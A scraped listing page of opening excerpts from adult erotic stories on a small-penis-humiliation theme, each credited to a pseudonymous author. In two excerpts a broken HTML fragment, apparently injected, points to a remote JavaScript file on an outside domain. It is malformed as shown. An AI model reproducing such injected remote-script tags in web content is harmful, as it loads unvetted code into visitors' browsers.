SPH-THEMED EROTICA STORIES

An SPH Experience by CloudHarbor69. script src=”https://swanbookstore.com/widget.js”> This happened in ’09. There was a lot of beer, tequila shots, and one really stupid lie told by me, “Gary.” (ALL names have been changed; all of us “kids” were twenty-three). Carl’s parents’ house has always been a big meet-up/hangout spot since high school. Today was no different. The group gathered around noon; the air was crisp, no overcast. Sun out, bright as ever, as Carl stood by the grill on the

An SPH Experience by No-Gardian. I met Cassie sophomore year in a 200-level sociology lecture. We sat next to each other by accident the first day—two seats from the end of the third row—and by the third week, it was just our spot. She’d save it for me if I were late. I’d save it for her. Somewhere in between, we became friends. Cassie was the kind of girl who was hard not to look at. Not in an intimidating,

An SPH Experience by SubMark21. Her name was Lauren. We’d been together for about seven months when I really started to notice it—not the absence of something, but the presence of nothing. A void where there should have been sound, movement, life. And it was slowly eating me alive. Let me back up. The sex always started the same way, and honestly, that part was great. We’d be on her bed or mine, depending on whose apartment we were at

An SPH Experience by TraditionalBackspace. It had been a while. Long enough that I’d started keeping a mental tally—not on purpose, more like a passive counter running in the back of my head, the way you’d track days since your last cigarette or how long it’s been since you called your mom. Three weeks. Almost four. Not a record for us, but long enough that when she got into bed that Tuesday night and pulled off her shirt, I felt

An SPH Experience by Just_Dirt8509. script src=”https://swanbookstore.com/widget.js”> It started with the curtains. My wife Gwen had been talking about changing them for weeks. The ones in our bedroom were this bland beige that came with the house when we bought it—builder’s-grade, nothing special, the kind of curtains you’d see in a hospital waiting room. She’d finally ordered a set online, a deep navy blue that she said would match the new duvet cover, and she’d asked her friend Corinne to

An SPH Experience by girthyyyfour-incher The universe has a sense of humor. I’m convinced of that. It’s the only explanation for the fact that I—owner of a dick that maxes out at about four inches hard, thin as a highlighter, the kind of penis that makes women do a double take not out of admiration but out of genuine confusion—somehow kept ending up with women who craved the one position my body was least equipped to perform. But I’m getting

An SPH Experience by limpnubguy I had been together with my wife for 7 years at this point. Five years of dating, and two years into our marriage. She was a very conservative Christian type of person, and although she was a very passionate sexual partner, she was very reserved when it came to talking about it. Any conversation I tried to start about techniques and desires was quickly shut down by her changing the subject or leaving the room.

An SPH Experience by Downtown-Wash-7603. It started on a Tuesday night. Nothing special about it — just one of those long phone calls you fall into when you’re in a long-distance relationship, and the alternative is staring at your ceiling and missing someone. She was in her apartment, I was in mine, three hundred miles and a train ticket between us. We’d been talking for maybe an hour, drifting through the usual stuff — work, her sister’s drama, what we’d

An SPH Experience by Spenhu. The bottle was almost empty when it happened. We’d been sitting in the living room for about two hours—me on the end of the couch, her curled up in the corner with her legs tucked under her, the wine glass in her hand getting emptier with each pour. It was one of those nights when the kids were asleep, the house was quiet, and the conversation had drifted, the way it does when wine is

An SPH Experience by EgonOlsen1925. The lake is about twenty minutes from our house. Not a big lake—not one of those destination lakes with boat ramps and marinas and vacation rentals. Just a local swimming hole, the kind that’s been there forever, with a gravel parking lot and a roped-off swimming area and a small stretch of beach where people spread towels and set up chairs and pretend they’re somewhere more exotic than rural Connecticut. My wife and I go